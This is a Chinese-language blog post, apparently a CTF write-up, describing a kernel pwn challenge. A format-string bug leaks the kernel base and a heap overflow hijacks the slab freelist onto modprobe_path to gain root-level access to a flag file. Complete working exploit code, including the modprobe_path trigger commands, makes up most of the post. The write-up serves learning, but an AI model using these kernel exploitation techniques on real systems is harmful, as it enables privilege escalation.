前言
悲悲悲, 晚上5点 os-lab 实验报告 ddl, 早上肝实验报告肝到一半, 然后抽风想去做一道 kernel pwn.
然后在一个地方卡了半个多小时, 结果就是写这个 post 的时候已经两点了, 悲.
漏洞分析
这题算是一个入门题, 哎, 就是我在泄漏 kernel offset 的时候想一步到位, 结果就搞了好久.
内核版本: v4.20.12 (对于 kernel pwn 而言, 比较老了
保护: 开了 smep, kaslr
堆行为: free pointer 在堆块头8字节, 没开 random_freelist等保护
题目实现了一个菜单:
其中可以申请的堆块大小在 [1, 0xfff] 之间, 释放堆块不存在问题.
漏洞点:
sudrv_ioctl_cold_2(su_buf) 存在格式化字符串漏洞, 函数如下:
而 sudrv_write 函数存在堆溢出:
这里 IDA 识别的有些问题, copy_user_generic_unrolled 跟 copy_from_user 差不多, 只是 copy_from_user 多一些检查
漏洞利用
1) 首先可以利用格式化字符串漏洞去泄漏内核基地址
2) 然后利用堆溢出去劫持 freelist 到 modprobe_path
3) 最后利用 modprobe_path 进行 flag 的读取
注意点:
1) 在劫持 freelist 时, 注意堆块大小的选取, 因为在后续的操作中也可能会分配堆块 (比如 system 函数), 所以当你把 freelist 破坏后, 后面分配堆块时就会报错, 因为 modprobe_path 的头8字节为文件名, 其不是一个有效地址.
2) 泄漏内核基地址时, printk 在程序退出时才会写到缓冲区中. 这里我搞了好久, 最后选择两个程序, 一个泄漏地址, 一个进行堆劫持. 但是看网上可以直接手动输入...悲
exp 如下:
leak_addr.c
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>int fd;void add(uint64_t size) { ioctl(fd, 0x73311337, size); }
void fmt() { ioctl(fd, 0xDEADBEEF, 0); }
void dele() { ioctl(fd, 0x13377331, 0); }
void edit(char* buf, uint64_t size) { write(fd, buf, size); }int main(int argc, char** argv, char** env)
{fd = open("/dev/meizijiutql", O_RDWR);if (fd < 0) puts("[X] FAILED to open dev file"), exit(EXIT_FAILURE);char* fmt_str = "%llx-%llx-%llx-%llx-%llx__%llx-%llx-%llx-%llx-%llx-XiaozaYa";edit(fmt_str, strlen(fmt_str));fmt();close(fd);return 0;
}
exp.c:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/stat.h>int fd;
size_t kernel_offset;
void add(uint64_t size) { ioctl(fd, 0x73311337, size); }
void fmt() { ioctl(fd, 0xDEADBEEF, 0); }
void dele() { ioctl(fd, 0x13377331, 0); }
void edit(char* buf, uint64_t size) { write(fd, buf, size); }void get_flag(){system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag.txt' > /tmp/x"); // modeprobe_path 修改为了 /tmp/xsystem("chmod +x /tmp/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件system("chmod +x /tmp/dummy");system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 执行的文件 /tmp/xsleep(0.3);system("cat /flag.txt");exit(0);
}#define SIZE 1024int main(int argc, char** argv, char** env)
{char buf[0x1000] = { 0 };char* addr_ptr;fd = open("/dev/meizijiutql", O_RDWR);if (fd < 0) puts("[X] FAILED to open dev file"), exit(EXIT_FAILURE);system("dmesg | tail -n 3 > dmesg.txt");int ffd = open("dmesg.txt", O_RDONLY);if (ffd < 0) puts("[X] FAILED to exec dmesg cmd"), exit(EXIT_FAILURE);struct stat stat_buf;stat("dmesg.txt", &stat_buf);size_t size = stat_buf.st_size;read(ffd, buf, size);close(ffd);addr_ptr = strstr(buf, "__");if (!addr_ptr) puts("[X] FAILED to leak addr"), exit(EXIT_FAILURE);kernel_offset = strtoull(addr_ptr+2, addr_ptr+2+16, 16) - 0xffffffff811c827f;size_t modprobe_path = 0xffffffff82242320 + kernel_offset;printf("\033[32m[+] kernel_offset:\033[0m %#llx\n", kernel_offset);printf("\033[32m[+] modprobe_path:\033[0m %#llx\n", modprobe_path);puts("[+] \033[33mtry to hijack modprobe_path\033[0m");add(SIZE);*(uint64_t*)(buf+SIZE) = modprobe_path;puts("[+] hijack freelist");edit(buf, SIZE+8);add(SIZE);add(SIZE);memset(buf, 0, sizeof(buf));char path[0x10] = "/tmp/x";edit(path, sizeof(path));get_flag();return 0;
}
exp.sh:
#!/bin/sh
./leak_addr
./exp
效果如下: 可能会因为堆块不连续而失败, 多打几次
总结
我个人是不太喜欢劫持堆的 freelist, 因为我感觉其很不稳定, 当然啦, 自己比较菜. 看网上还有直接劫持栈提取的, 后面看看. 艹, 我的实验报告啊......溜了